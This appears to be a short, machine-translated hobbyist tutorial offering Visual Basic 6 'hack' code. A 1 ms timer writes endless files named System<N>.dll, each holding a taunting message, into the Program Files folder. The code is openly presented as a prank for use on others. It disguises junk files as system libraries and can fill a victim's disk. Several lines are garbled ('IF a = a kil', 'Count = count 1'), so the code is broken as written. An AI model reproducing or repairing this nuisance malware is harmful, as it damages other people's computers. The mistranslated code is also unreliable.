First create a new .exe project, then add Timer control in the form, set Timer's interval = 1, double TIMER control, enter the following code
Private sub timer1_timer ()
'Declaration variable, where "count" is a static variable to generate different files
DIM Files as String
DIM NR AS STRING
DIM C As String
Static Count As Long
'Define to store the generated files under that directory file
c = "c: / program files /"
'Generate file content
nr = "Haha, the feeling of being black is good"
Files = freefile
'If a is equal to A, then execute
IF a = a kil
'Count continues to add 1 to produce different file names
Count = count 1
'Generate file names and file handles, and use Count as a different file name.
Open C & "System" & Count & ".dll" for append as #files
'Write content to the file
Write #files, NR
'Clear the file handle, it is important, if you don't clean, you will generate an error prompt to open the file.
Close #files
END IF
End Sub
Little student has just learned VB for a long time, you will hack, there is a wrong place to see forgive, my contact mail is NetBoy@cnpick.com, contact me, huh, huh.
